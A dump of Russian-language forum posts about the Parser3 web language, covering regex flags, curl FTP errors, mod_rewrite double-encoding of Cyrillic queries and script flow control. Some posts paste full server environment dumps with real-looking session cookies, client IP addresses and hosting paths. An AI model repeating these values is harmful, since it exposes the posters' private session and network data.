"79508","Это формат исходных данных, я заменил значения на условные обозначения.\
До тега может быть текст, разделенный пробелами.\
Внутри тега та же картина до &nbsp;\
\
Ключ m должен обеспечивать 4 прохода, т.к. в примере 4 строки.\
\
Если сначала разбить на строки [^^(.+)^$][gim], а потом в цикле выполнить регулярку, то будет как раз 4 прохода, поэтому получим нужный результат.\
\
Интересует, почему <br> из строки 2 попадает в результат строки 3."
"79509","[code]@main[]\
$sText[ text1 <tag>text2&nbsp^;</tag>\
<br>\
 <tag>text3&nbsp^;&nbsp^;&nbsp^;</tag>\
<br>]\
\
$line(1)\
^sText.match[(.+);gim]{$line [$match.1]^line.inc[]}[/code]\
\
даёт:\
1 [ text1 <tag>text2&nbsp;</tag>]\
2 [<br>]\
3 [ <tag>text3&nbsp;&nbsp;&nbsp;</tag>]\
4 [<br>]"
"79510","Речь шла об этом:\
[code]	$sResult[]\
	$tTemp[^sText.match[(.+)][gim]]\
	^tTemp.menu{\
		$sTemp[^tTemp.1.match[^^\\s*((?!\\s*<tag>).+?)?\\s*<tag>\\s*((?!\\s*&nbsp^;).+?)\\s*&nbsp^;.*^$][i]{\
			$sResult[^if(def $sResult){$sResult, }^if(def $match.1){[$match.1] }$match.2]\
		}]\
	}\
	<pre>$sResult</pre>[/code]\
В итоге получим верный результат, а без промежуточного разделения на строки и прокручивания таблицы ключ m не дает такого же результата при той же регулярке."
"79511","Они вполне пошли проигнорировать перевод на новую строку.\
Воспользуйтесь программами или сервисами онлайн которые помогут вам понять почему так.\
Вот ваш пример, разберите его )), но сразу скажу вы сильно его усложнили очень много условий, для такого простого текста. Вполне реально что вы допустили ошибку.\
Например видно, что ключ m отрабатывается как положено, но он просто попадает под условие регулярного выражения, а с тем что в нем написано может быть все что угодно )).\
Добавлено\
Ой забыл ссылку дать http://regexr.com?382q8\
Вот зараза [b]<[/b] за экранировала"
"79512","Буду знать, что ключ m не означает, что обработка будет идти в пределах одной строки.\
Всем спасибо."
"79513","[code]^curl:options[\
	$.library[/usr/lib/libcurl.so.4.2.0]\
]\
^curl:session{ \
   $f[^curl:load[ \
      $.port(21)\
      $.url[ftp://user:password@176.9.101.147]\
   ]] \
   $f.text\
} [/code]\
\
ОШИБКА\
[code]failed to set option 'url': invalid url scheme 'ftp://user:password@176.9.102.147'\
load[/code]\
\
Протокол http работает\
Мне надо проверять протоколы IMAP, POP3, SMTP, FTP\
Но ни один не работает. Подскажите почему и как решить задачу?\
\
Изначально задача стоит так:\
[i]Отправить e-mail через SMTP сервиса yandex, mail.ru, google... [/i]\
Логин и пароль использую свои.\
Аналогично, надо считать список директорий с FTP"
"79514","Здравствуйте!\
\
У меня есть форма поиска по сайту, работающая по методу GET, где пользователь указывает поисковый запрос. В скрипте, в который приходят данные этой формы, я использовал соответствующее поле как есть, без всяких дополнительных обработок или преобразований. И долгое время это прекрасно работало (если пользоватлеь запрашивал \"тест\", то в поле $form:ss были символы \"тест\"). А вот сейчас это почему-то не работает: теперь вместо символов \"тест\" в поле $form:ss содержатся символы \"%D1%82%D0%B5%D1%81%D1%82\".\
Когда поломалось и почему - не знаю. Я вроде ничего не менял, да и поломалось сразу на всех сайтах. Так что вероятно что-то поменял хостер (версию или настройки Apache или nginx может быть).\
\
Собственно вопросы.\
1) Из-за чего такое может быть, что раньше работало, а теперь перестало? Могут на это повлиять настройки веб-сервера (и тогда надо предъявлять претензии к хостеру) или нет (и тогда получается, что я сам это пломал и не заметил)?\
2) Как правильно обрабатывать такие данные? Желательно, чтобы в будущем максимально оградить себя от возможной поломки из-за каких-то \"внешних\" факторов?"
"79515","вы всё правильно делаете: работать с данными, пришедшими в get/post надо через $form:поле\
\
почему это могло сломаться: возможно изменились $request:charset/$response:charset и способ кодирования данных не соответствует той кодировке, которая указана в $response:charset.\
для приводимого вами %D1%82%D0%B5%D1%81%D1%82 $response:charset должна быть utf-8.\
\
попробуйте скачать тестовый файл, положить его в корень сайта и обратиться к нему из браузера. он покажет текущие кодировки и в нём можно будет кликнуть на ссылку, чтобы проверить работу с form.\
о результатах сообщите."
"79516","Для всего остального есть консольная утилита curl, которую прекрасно можно вызвать через file::exec. Сомневаюсь, что кто-то готов реализовывать и поддерживать все протоколы, которые поддерживаются в libcurl."
"79518","$request:charset/$response:charset не менялись:\
$request:charset[windows-1251]\
$response:charset[utf-8]\
Тестовый файл это подтверждает.\
Так и было, так и должно быть. (Конечно, файлы можно было бы уже и перекодировать в utf-8 и соответственно изменить $request:charset, но сейчас дело не в этом).\
\
Обнаружил, что проблема похоже проявляется в том случае, когда url проходит через mod_rewrite. Правило для mod_rewrite в .htaccess выглядит примерно так:\
RewriteCond %{REQUEST_URI} !(/test/)\
RewriteRule ^([-a-zA-Z0-9_/]+)$ /index.p3?mode=$1&%{QUERY_STRING} [L]\
\
То есть, если uri выглядит как \"/search/?ss=тест\", то на самом деле обрабатываться это должно скриптом \"/index.p3?mode=search&ss=тест\" - и похоже, что именно на этом этапе происходит проблема с кодировкой.\
А если index.p3 скопировать в /test/ и вызвать его, написав в адресной строке \"/test/index.p3?mode=search&ss=тест\", то проблемы с кодировкой нет.\
Причём, $request:uri в обоих случаях выдаёт кириллицу в закодированном виде (в обоих случаях ss=%D1%82%D0%B5%D1%81%D1%82). Получается, $form:ss во втором случае успешно раскодируется, а в первом - почему-то нет.\
\
Честно говоря, в полной растерянности - как это вообще исправлять?"
"79519","затем проверьте, всё-ли работает при обращении с корректным URL: \
http://сервер/search/?ss=%D1%82%D0%B5%D1%81%D1%82\
\
символы в URI должны быть заэнкодены."
"79520","Начало хорошее. Убрал, заменил. Ничего не изменилось. Что делать следующим шагом? :-) :-("
"79522","Было бы очень круто, если можно было переходить от сообщения к сообщению сочетанием клавиш. Например, Ctrl+Вверх и Ctrl+Вниз. Воплотить в жизнь очень просто."
"79523","Мне кажется, что линейный обход древовидного форума с обратной сортировкой по времени не самая очевидная задача. Куда мы должны попадать при нажатии «вниз», когда находимся в середине разветвленной темы?\
\
Данные можно взять с http://www.parser.ru/download/forum/"
"79525","Нет, не работает. :-(\
\
Браузерам вроде всё-равно: написать в адресной строке http://сервер/search/?ss=%D1%82%D0%B5%D1%81%D1%82 или http://сервер/search/?ss=тест. Хром и Файрфокс тут же превращают \"%D1%82%D0%B5%D1%81%D1%82\" в \"тест\", а Опера и ИнтернетЭксплорер - наоборот \"тест\" превращают в \"%D1%82%D0%B5%D1%81%D1%82\". Но результат во всех случаях одинаковый: если запрос проходит через rewrite, то до скрипта строка доходит не раскодированная. Замена &%{QUERY_STRING} и [L] на [L,QSA] ничего не дала. Проверить, конечно, стоило (да, и Ваш вариант \"методически\" правильнее), но теоретически так ведь и должно быть. Разве нет?\
\
Я очень благодарен за помощь и буду рад, если Вы ещё что-то посоветуете, но проблема, видимо, не в Парсере. Надо в техподдержку хостера писать. Вот только как это грамотно сформулировать? Я погуглил - такое впечатление, что я первый у кого такая проблема возникла. :-(\
\
Кстати, вроде в php есть функция, позволяющая раскодировать такие строки. В Парсере такой функции нет? Или я не нашёл?"
"79526","попробуйте в обоих случаях посмотреть на:\
$request:uri\
$request:query\
$env:QUERY_STRING (вообще на все $env посмотрите)"
"79527","Рекомендую вам изучить эту тему чуть глубже:\
[url=\"http://linux.opennet.ru/docs/RUS/perl_regex/\"]http://linux.opennet.ru/docs/RUS/perl_regex/[/url]"
"79528","Вот так выглядят эти переменные в случае использования mod_rewrite:\
\
2014-01-23 16:37:54 request:uri - /search/?ss=%D1%82%D0%B5%D1%81%D1%82\
2014-01-23 16:37:54 request:query - mode=search&ss=%25D1%2582%25D0%25B5%25D1%2581%25D1%2582\
2014-01-23 16:37:54 env:QUERY_STRING - mode=search&ss=%25D1%2582%25D0%25B5%25D1%2581%25D1%2582\
2014-01-23 16:37:54 response:charset - UTF-8\
2014-01-23 16:37:54 form:ss - %D1%82%D0%B5%D1%81%D1%82\
\
А вот так, в случае вызова скрипта \"напрямую\":\
\
2014-01-23 16:40:52 request:uri - /test/test_response_charset.p3?mode=search&ss=%D1%82%D0%B5%D1%81%D1%82\
2014-01-23 16:40:52 request:query - mode=search&ss=%D1%82%D0%B5%D1%81%D1%82\
2014-01-23 16:40:52 env:QUERY_STRING - mode=search&ss=%D1%82%D0%B5%D1%81%D1%82\
2014-01-23 16:40:52 response:charset - UTF-8\
2014-01-23 16:40:52 form:ss - тест\
\
И как с этим бороться?\
\
P.S. Техподдержка хостинга пока ничего вразумительного не сказала."
"79530","Можно и полностью. На других сайтах правила другие, но похожие. Флаг QSA сделал только сегодня, до этого везде было &%{QUERY_STRING}.\
\
RewriteEngine on\
RewriteCond %{HTTP_HOST} ^sovets.ru$\
RewriteRule (.*) http://www.sovets.ru/$1 [R=permanent,L]\
\
RewriteCond %{REQUEST_URI} !(/system/|/accel/|/admin|/cabinet/|/about/|/aphorism/|/s/|/css/|/js/|/index.p3|^/favicon.ico|^/robots.txt)\
RewriteRule ^(([-a-zA-Z0-9_/]+)+/)?(([0-9]+)\\.page|([0-9]+)\\.htm)?(.*)?$ /index.p3?section=$2&pg=$4&id=$5 [L,QSA]\
\
RewriteCond %{REQUEST_URI} /about/\
RewriteRule ^([-a-zA-Z0-9_/]+)$ /about/index.p3?page=$1 [L,QSA]\
\
RewriteCond %{REQUEST_URI} /aphorism/\
RewriteRule ([0-9]+)\\.htm /aphorism/index.p3?number=$1 [L,QSA]\
\
RewriteCond %{REQUEST_URI} /s/\
RewriteRule ^([-a-zA-Z_/]+)([0-9]+)\\.htm $1index.p3?number=$2 [L,QSA]"
"79531","видно, что в случае rewrite у вас содержимому query string url кодирование сделано дважды. очевидно, что парсер в этом случае его полностью раскодировать не может.\
\
пока у меня нет мыслей, кто это может делать, т.к. rewrite таким вроде не занимается.\
однако я просил посмотреть и на другие env переменные. причем лучше делать это не парсером (так будет проще общаться с техподдержкой).\
например стоит посмотреть на переменные окружения с помощью printenv.pl\
\
P.S. попробуйте закомментировать строки, делающие внешний редирект (с R), затем попробуйте добавить NE флаг в дополнение к L,QSA"
"79532","Строки, делающие внешний редирект (с R) убирал (вообще убирал все правила, кроме одного), NE флаг в дополнение к L,QSA ставил. Эффекта нет.\
\
Спасибо за printenv.pl, а то у меня версия парсера 3.4.0 - там нет возможности получить список всех переменных окружения.\
\
Сделал правило:\
RewriteCond %{REQUEST_URI} /perl/\
RewriteRule (.*) /system/test.pl [L,QSA]\
\
Запустил http://www.sovets.ru/perl/?ss=тест\
\
Что получилось смотрите ниже. Как видите, QUERY_STRING правильная. Значит в перловых скриптах проблемы нет. Получается, что всё-таки Парсер и Апач друг друга не понимают?\
Кстати, я с самого начала не указал: версия Парсера 3.4.0 (ой! я что-то был уверен, что 3.4.2), версия Апача 2.2.23.\
\
На хостинге есть возможность \"в десяток кликов\" обновиться до версии Парсера 3.4.2, но лучше наверное уж сразу до 3.4.3 обновляться. Сейчас задам такой вопрос в техподдержку.\
\
DOCUMENT_ROOT=\"/home/virtwww/w_sovets-ru_5851801c/http\"\
GATEWAY_INTERFACE=\"CGI/1.1\"\
HTTP_ACCEPT=\"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"\
HTTP_ACCEPT_ENCODING=\"gzip, deflate\"\
HTTP_ACCEPT_LANGUAGE=\"ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\"\
HTTP_CONNECTION=\"keep-alive\"\
HTTP_COOKIE=\"on=1; client=5B8EC62D5D448945; name=admin; __utma=1925171.852410461.1324501756.1378186429.1378230925.652; __utmz=1925171.1371806069.564.13.utmcsr=odnoklassniki.ru|utmccn=(referral)|utmcmd=referral|utmcct=/dk; reforum_uid=91ec07bfcd7d1647a03b62657f116bbd; kdmUserUnqID=570139307; session=EFF7D4CC8E2D780D; test=ABC; rtbPagerPage1097=1; rtb_history1097=8%3A1%7C8%3A1%7C8%3A1%7C8%3A1%7C8%3A2%7C8%3A1%7C8%3A1%7C8%3A1%7C8%3A1; rtb1097p=1; rtb1097p8=1\"\
HTTP_DNT=\"1\"\
HTTP_HOST=\"www.sovets.ru\"\
HTTP_USER_AGENT=\"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0\"\
HTTP_X_FORWARDED_REQUEST=\"GET /perl/?ss=%D1%82%D0%B5%D1%81%D1%82 HTTP/1.1\"\
HTTP_X_FORWARDED_URI=\"/perl/?ss=%D1%82%D0%B5%D1%81%D1%82\"\
PATH=\"/usr/local/bin:/usr/bin:/bin\"\
PHPRC=\"/home/virtwww/w_sovets-ru_5851801c/.php/\"\
QUERY_STRING=\"ss=%D1%82%D0%B5%D1%81%D1%82\"\
REDIRECT_QUERY_STRING=\"ss=%D1%82%D0%B5%D1%81%D1%82\"\
REDIRECT_STATUS=\"200\"\
REDIRECT_URL=\"/perl/\"\
REMOTE_ADDR=\"95.153.200.124\"\
REMOTE_PORT=\"2501\"\
REQUEST_METHOD=\"GET\"\
REQUEST_URI=\"/perl/?ss=%D1%82%D0%B5%D1%81%D1%82\"\
SCRIPT_FILENAME=\"/home/virtwww/w_sovets-ru_5851801c/http/system/test.pl\"\
SCRIPT_NAME=\"/system/test.pl\"\
SCRIPT_URI=\"http://www.sovets.ru/perl/\"\
SCRIPT_URL=\"/perl/\"\
SERVER_ADDR=\"81.176.228.3\"\
SERVER_ADMIN=\"[no address given]\"\
SERVER_NAME=\"www.sovets.ru\"\
SERVER_PORT=\"80\"\
SERVER_PROTOCOL=\"HTTP/1.1\"\
SERVER_SIGNATURE=\"<address>Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/1.0.0d mod_fcgid/2.3.7 Server at www.sovets.ru Port 80</address>\\n\"\
SERVER_SOFTWARE=\"Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/1.0.0d mod_fcgid/2.3.7\""
"79533","обновлять парсер не надо, это ничего не даст.\
\
то, что апач и парсер не понимают друг-друга -- маловероятно, т.к. парсер всего-то читает стандартную переменную окружения и зачет её разбирает. а она ему приходит некорректная.\
\
попробуйте создать parser.pl, назначить его обработчиком в отдельном каталоге и в этом каталоге обращения рерайтнуть. т.е. надо попробовать полностью воспроизвести весь процесс обработки.\
parser.pl == printenv.pl"
"79534","[quote]попробуйте создать parser.pl, назначить его обработчиком в отдельном каталоге и в этом каталоге обращения рерайтнуть. т.е. надо попробовать полностью воспроизвести весь процесс обработки.\
parser.pl == printenv.pl[/quote]\
\
Честно говоря, не совсем понял что Вы предлагаете.\
Я же вроде это и сделал - см. моё предыдущее сообщение: сделал файл test.pl (в который скопировал код printenv.pl, найденный в интернете); назначил mod_rewrite новое правило, которое обращения по uri \"/perl/?параметры\" заставляет обрабатывать скриптом \"test.pl?параметры\".\
Вроде бы это с точностью до названий скриптов соответствует тому тому процессу обработки, в котором наблюдается проблема.\
Или Вы имеете в виду что-то другое?"
"79535","я предлагаю другое.\
я предлагаю попробовать сделать так, чтобы обработчиком html файлов в отдельном каталоге был назначен не parser3.cgi, а parser3.pl (AddHandler html /cgi-bin/parser3.pl)"
"79536","Сделал. Поскольку html файлы у меня всё-равно не использовались, то сделал не для отдельной папки, а для всего сайта сразу. \
Только в .htaccess пришлось написать не \"AddHandler html /cgi-bin/parser3.pl\", а \
AddHandler parsed-h3 html\
Action parsed-h3 /cgi-bin/parser3.pl\
(ну, и обработчик parser3.cgi для p3 файлов у меня так же назаначается - в две строчки).\
Да, и экспериментировать решил над другим сайтом, но на нём (как собственно и на всех моих сайтах на этом хостинге) проблема проявляется абсолютно одинаково (проверял).\
\
Вот результат. При обработке perl'ом проблемы нет.\
\
DOCUMENT_ROOT=\"/home/virtwww/w_by-way-ru_269d6053/http\"\
GATEWAY_INTERFACE=\"CGI/1.1\"\
HTTP_ACCEPT=\"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"\
HTTP_ACCEPT_ENCODING=\"gzip, deflate\"\
HTTP_ACCEPT_LANGUAGE=\"ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\"\
HTTP_CONNECTION=\"keep-alive\"\
HTTP_COOKIE=\"on=1; client=218771615DB10C78\"\
HTTP_DNT=\"1\"\
HTTP_HOST=\"www.by-way.ru\"\
HTTP_USER_AGENT=\"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0\"\
HTTP_X_FORWARDED_REQUEST=\"GET /test.html?ss=%D1%82%D0%B5%D1%81%D1%82 HTTP/1.1\"\
HTTP_X_FORWARDED_URI=\"/test.html?ss=%D1%82%D0%B5%D1%81%D1%82\"\
PATH=\"/usr/local/bin:/usr/bin:/bin\"\
PATH_INFO=\"/test.html\"\
PATH_TRANSLATED=\"/home/virtwww/w_by-way-ru_269d6053/http/test.html\"\
PHPRC=\"/home/virtwww/w_by-way-ru_269d6053/.php/\"\
QUERY_STRING=\"ss=%D1%82%D0%B5%D1%81%D1%82\"\
REDIRECT_HANDLER=\"parsed-h3\"\
REDIRECT_QUERY_STRING=\"ss=%D1%82%D0%B5%D1%81%D1%82\"\
REDIRECT_STATUS=\"200\"\
REDIRECT_URL=\"/test.html\"\
REMOTE_ADDR=\"95.153.161.205\"\
REMOTE_PORT=\"30428\"\
REQUEST_METHOD=\"GET\"\
REQUEST_URI=\"/test.html?ss=%D1%82%D0%B5%D1%81%D1%82\"\
SCRIPT_FILENAME=\"/home/virtwww/w_by-way-ru_269d6053/http/cgi-bin/parser3.pl\"\
SCRIPT_NAME=\"/cgi-bin/parser3.pl\"\
SCRIPT_URI=\"http://www.by-way.ru/test.html\"\
SCRIPT_URL=\"/test.html\"\
SERVER_ADDR=\"81.176.228.3\"\
SERVER_ADMIN=\"[no address given]\"\
SERVER_NAME=\"www.by-way.ru\"\
SERVER_PORT=\"80\"\
SERVER_PROTOCOL=\"HTTP/1.1\"\
SERVER_SIGNATURE=\"<address>Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/1.0.0d mod_fcgid/2.3.7 Server at www.by-way.ru Port 80</address>\\n\"\
SERVER_SOFTWARE=\"Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/1.0.0d mod_fcgid/2.3.7\""
"79537","В предыдущем сообщении я не то сделал! Извиняюсь!\
Есть и у перла проблема! Ура!\
\
DOCUMENT_ROOT=\"/home/virtwww/w_by-way-ru_269d6053/http\"\
GATEWAY_INTERFACE=\"CGI/1.1\"\
HTTP_ACCEPT=\"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"\
HTTP_ACCEPT_ENCODING=\"gzip, deflate\"\
HTTP_ACCEPT_LANGUAGE=\"ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\"\
HTTP_CONNECTION=\"keep-alive\"\
HTTP_COOKIE=\"on=1; client=218771615DB10C78\"\
HTTP_DNT=\"1\"\
HTTP_HOST=\"www.by-way.ru\"\
HTTP_USER_AGENT=\"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0\"\
HTTP_X_FORWARDED_REQUEST=\"GET /test_perl/?ss=%D1%82%D0%B5%D1%81%D1%82 HTTP/1.1\"\
HTTP_X_FORWARDED_URI=\"/test_perl/?ss=%D1%82%D0%B5%D1%81%D1%82\"\
PATH=\"/usr/local/bin:/usr/bin:/bin\"\
PATH_INFO=\"/test.html\"\
PATH_TRANSLATED=\"/home/virtwww/w_by-way-ru_269d6053/http/test.html\"\
PHPRC=\"/home/virtwww/w_by-way-ru_269d6053/.php/\"\
QUERY_STRING=\"page=test_perl/&ss=%25D1%2582%25D0%25B5%25D1%2581%25D1%2582\"\
REDIRECT_HANDLER=\"parsed-h3\"\
REDIRECT_QUERY_STRING=\"page=test_perl/&ss=%25D1%2582%25D0%25B5%25D1%2581%25D1%2582\"\
REDIRECT_STATUS=\"200\"\
REDIRECT_URL=\"/test.html\"\
REMOTE_ADDR=\"95.153.161.205\"\
REMOTE_PORT=\"43053\"\
REQUEST_METHOD=\"GET\"\
REQUEST_URI=\"/test_perl/?ss=%D1%82%D0%B5%D1%81%D1%82\"\
SCRIPT_FILENAME=\"/home/virtwww/w_by-way-ru_269d6053/http/cgi-bin/parser3.pl\"\
SCRIPT_NAME=\"/cgi-bin/parser3.pl\"\
SCRIPT_URI=\"http://www.by-way.ru/test_perl/\"\
SCRIPT_URL=\"/test_perl/\"\
SERVER_ADDR=\"81.176.228.3\"\
SERVER_ADMIN=\"[no address given]\"\
SERVER_NAME=\"www.by-way.ru\"\
SERVER_PORT=\"80\"\
SERVER_PROTOCOL=\"HTTP/1.1\"\
SERVER_SIGNATURE=\"<address>Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/1.0.0d mod_fcgid/2.3.7 Server at www.by-way.ru Port 80</address>\\n\"\
SERVER_SOFTWARE=\"Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/1.0.0d mod_fcgid/2.3.7\""
"79538","Если я делаю правило mod_rewrite\
RewriteCond %{REQUEST_URI} /test_perl/\
RewriteRule ^([-a-zA-Z0-9_/]+)$ /test.html?page=$1 [L,QSA]\
то строка перекодируется дважды, и соответственно проблема наблюдается.\
\
А если делаю правило\
RewriteCond %{REQUEST_URI} /test_perl/\
RewriteRule ^([-a-zA-Z0-9_/]+)$ /test.html [L,QSA]\
то проблемы нет.\
\
Не проверял, но надо полагать, что для uri, обрабатываемых Парсером будет тоже самое.\
\
То есть, получается, что пользоваться mod_rewrite для обработки url с русскими символами можно только в том случае, если mod_rewrite не будет добавлять никаких новых параметров. Но так ведь весь смысл использования mod_rewrite как раз в том и заключается, чтобы разобрать url на параметры и передать их скрипту!\
\
Как же жить-то после этого?! :-0"
"79539","по хорошему надо всё перепроверить и сделать отдельный .htaccess, в котором будет только action, addhandler и единственный rewrite.\
\
а потом, со всем этих хозяйством и в техподдержку.\
\
P.S. perl тут тоже не причем, всё это можно и в виде sh изобразить."
"79540","возможно это для данной конкретной системы с конкретными настройками.\
например на данном сервере используются очень похожий рерайт:\
RewriteRule (.*)  /_doc.html?request=$1 [L,QSA]\
и адрес:\
http://www.parser.ru/forum/?terms=%EF%F0%EE%E2%E5%F0%EA%E0&author=&doSearch=%CD%E0%E9%F2%E8\
преобразуемся в адрес:\
http://www.parser.ru/_doc.html?request=forum/&terms=%EF%F0%EE%E2%E5%F0%EA%E0&author=&doSearch=%CD%E0%E9%F2%E8\
\
никаких двойных перекодирований не делается и из парсера я читаю $form:terms.\
\
аналогично для остальных проектов Студии, созданных на imp1.\
это работает и для UTF-8.\
\
P.S. потому я и предлагаю всё ещё раз перепроверить. возможно создать отдельный виртуальный сервер, если это возможно."
"79541","Если Apache \"поставляется\" провайдером, то с этими результатами обращайтесь в техподдержку провайдера (с указанием когда примерно все сломалось), пусть разбираются. Скорее всего они доставили какой-нибудь модуль, который привел к такому результату. В свое время сходная проблема наблюдалась с mod_accel, который криво патчил mod_rewrite, мы это у себя исправляли (там двойное перекодирование происходило при передаче на backend)."
"79542","Затяжные проблемы с сервером, руки не доходят починить."
"79543","А то как-то все заглохло, о поддержки новых версий парсера не пишется. А то собственно решился попробовать, а тут все глухо."
"79544","Если появится 1-2 заинтересованных в развитии проекта человека со знанием Java - в свободное время проект получит развитие.\
\
Сейчас его достаточно легко перевести на новую версию IDEA, однако парсер Parser'а требует переписывания"
"79545","Здравствуйте,\
\
после переноса сайта http://www.tverlife.ru/ на другой домен и хостинг перестала добавляться информация (статьи, новости и картинки к ним)\
\
при добавлении фото выводится ошибка json false (поставил libjson0 - не помогло)\
\
при добавлении статьи выводится информация:\
\
(status=254) ---------------- <p>&nbsp;3</p>\
\
/var/www/seocrat/data/www/tverlife.seokrat.ru/resources/kernel/modules/tidy.p(12:10)\
throw	/var/www/seocrat/data/www/tverlife.seokrat.ru/resources/kernel/modules/tidy.p(12:10)\
if	/var/www/seocrat/data/www/tverlife.seokrat.ru/resources/kernel/modules/tidy.p(11:2)\
tidy	/var/www/seocrat/data/www/tverlife.seokrat.ru/profile/auto.p(129:23)\
use_module	/var/www/seocrat/data/www/tverlife.seokrat.ru/profile/auto.p(128:10)\
update_article	/var/www/seocrat/data/www/tverlife.seokrat.ru/profile/off/auto.p(14:23)\
try	/var/www/seocrat/data/www/tverlife.seokrat.ru/profile/off/auto.p(13:10)\
if	/var/www/seocrat/data/www/tverlife.seokrat.ru/profile/off/auto.p(10:2)\
\
поставил tidy - не помогло..\
\
--------------------------\
\
подскажите, пожалуйста, в чем может быть проблема?\
\
С уважением..."
"79546","про \"ошибка json false\" ничего сказать не могу, нужно видеть текст сообщения об ошибке и код.\
\
[quote]\
при добавлении статьи выводится информация:\
(status=254) ---------------- <p>&nbsp;3</p>\
/var/www/seocrat/data/www/tverlife.seokrat.ru/resources/kernel/modules/tidy.p(12:10)\
[/quote]\
\
В 12 строке файла tidy.p запускается внешний скрипт (^file::exec/cgi[...]). и он не находится (254 -- файл не найден)."
"79547","/bin/tidy/linux/tidy /bin/tidy/tidy.cfg  передаются такие пути в скрипте. Вроде корректные"
"79548","\"вроде\" -- не считается.\
у парсера начальный слэш в пути -- это не root диска, а корень веб пространства."
"79549","Делаю регистрацию на сайте. Все работает, но форма не исчезает при успешной реге. Глаза устали и не видят ошибку. Подскажите, пожалуйста :)\
\
[code]\
^if(def $form:do){\
	^try{\
		^auth.insertUser[$form:fields]\
			^auth.logon[\
				$form:fields\
				$.[auth.logon][do]\
			]\
			<p>Пользователь успешно зарегистрирован.</p>\
			$is_show_form(0)\
		}{\
			$exception.handled(1)\
			$errors[^auth.decodeError[]]\
			<p class=\"p-for\">^errors.menu{$errors.dis}[<br> ]</p>\
		}\
	}\
		$is_show_form(1)\
		\
		^if($is_show_form){\
		.... Форма ....\
		}\
[/code]"
"79550","И да, если вы хотите помочь в доработке и знаете Java - пишите на dwr@design.ru :)"
"79551","[code]$is_show_form(1)\
^if($is_show_form){\
	.... Форма ....\
}[/code]\
так она всегда будет видна )\
\
нужно вынести [code]$is_show_form(1)[/code] до [code]^if(def $form:do){[/code]"
"79552","Это работает?\
\
[code]^auth.logon[\
	$form:fields\
	$.[auth.logon][do]\
][/code]"
"79553","Да, работает!"
"79554","То что такая передача параметров хэш+ключи работает - это так задумано? Я так понимаю ключи автоматически добавляются к переданному хэшу?"
"79555","Причем работает не только для хешей, но и для любых пользовательских объектов, которые, по сути, тоже хеши. ;)\
\
P.s. Еще интересное - http://www.parser.ru/forum/?id=71094"
"79557","Ну поверхностно я её понимаю, есть опыт си и с++,питона, паскаля но опять уровень не разработки, а поиск ошибок и их исправление."
"79559","Есть тонкость: всё прибавляемое таким образом к хешу добавляется в него, а не просто передаётся параметром.\
Чтобы не изменять исходных хеш, про это нужно помнить:\
\
[code]$h[\
	$.a[1]\
]\
$h2[\
	$h\
	$.b[2]\
]\
\
^h._count[][/code]\
\
2\
\
[code]$h[\
	$.a[1]\
]\
$h2[\
	^hash::create[$h]\
	$.b[2]\
]\
\
^h._count[][/code]\
\
1."
"79560","Правильное замечание, сам хотел про это написать. :)"
"79561","В базу через форму запостили кривой символ UTF - какой-то ромбик. Теперь ^match кидает UTF-8 validation failed during pcre_exec\
\
Я так понимаю таких символов весьма много, и предусмотреть replace-ом тяжело.\
\
Есть хорошее решение?"
"79562","Конвертнул базу в UTF8. Была в Latin. Удалил запись с кривыми символами. Теперь если такие же кривые символы попадают в базу проблемы не возникает."
"79563","Не знаю как правильно это назвать, особо за это не пинайте. Но вопрос следующий:\
Планируется или возможна ли вообще (на текущий момент не разу не удавалось) выполнить следующий код?\
\
^object.method[args].else[args].more[args]\
\
На мой взгляд парсер может поддерживать такой синтаксис, и такой формат может дать некие дополнительные возможности."
"79564","Надо вводить экранирование точки, чтобы отличить конец цепочки от окружающего текста. Если об этом забыть, то можно получить очень хитрые ошибки, которые отловить будет очень сложно.\
\
Скорее всего, цепочки появятся не раньше версии 3.5, но когда это произойдет неизвестно."
"79566","причина:\
http://www.parser.ru/forum/?id=76407"
"79567","При открытии сначала выдается стандартное системное предупреждение безопасности (как для исполняемых файлов, скачанных по Сети), затем chm-окно открывается, но в основном (правом) фрейме отображается следующее: \
Переход на веб-страницу отменен \
   Попробуйте сделать следующее: \
     Повторите ввод адреса. \
 \
parser3_4_1.ru.chm и другие chm открываются без проблем и предупреждений."
"79569","Видимо, это поломает чрезвычайно удобные $hash.[$another.param].key , ^table.[^calculated[field]].int[] и т.д.\
Я пару раз ловил себя на мысли, что Парсеру не помешали бы Jquery-подобные цепочки вызовов, но это было и правда всего пару раз."
"79571","[code]@main[]\
\
$x(0)\
\
^if($x==0){\
$response:location[/]\
}\
\
$y(10/$x)[/code]\
\
Можно как-то сделать редирект и не выполнять скрипт далее?\
Я понимаю, что можно завернуть всё остальное в else или try. Вопрос в том, можно ли прервать в парсере выполнение скрипта в определенном месте."
"79572","Тут есть тонкий момент. Когда вы хотите «прервать выполнение скрипта в определенном месте» это означает лишь, «выдать в stdout то, что уже сформировано скриптом (например, заголовки) и вернуть управление веб-серверу». Это совершенно не тоже самое, что делает вызов функции exit в других языках.\
\
С траем все очень просто:\
[code]\
@main[]\
  ^try{\
     ...\
     ^if(!$user.isAdmin && $request:uri eq \"admin\"){\
       ^redirectTo[/]\
     }\
  }{\
     ^if($exception.type eq \"site.redirect\"){\
       $exception.handled(true)\
       $response:location[$exception.source]\
     }\
   }\
\
@redirectTo[aLocation]\
  ^throw[site.redirect;$aLocation]\
[/code]"
"79573","[code]@main[]\
\
$i(1)\
^while($i){\
$i(0)\
\
	$x(0)\
	^if($x==0){\
		$response:location[/]\
		^break[]\
	}\
	$y(10/$x)\
}[/code]\
\
тоже иногда не хватает оператора [b]^extt[][/b]\
В некоторых случаях, чтобы не плодить кучу if/else можно делать так."
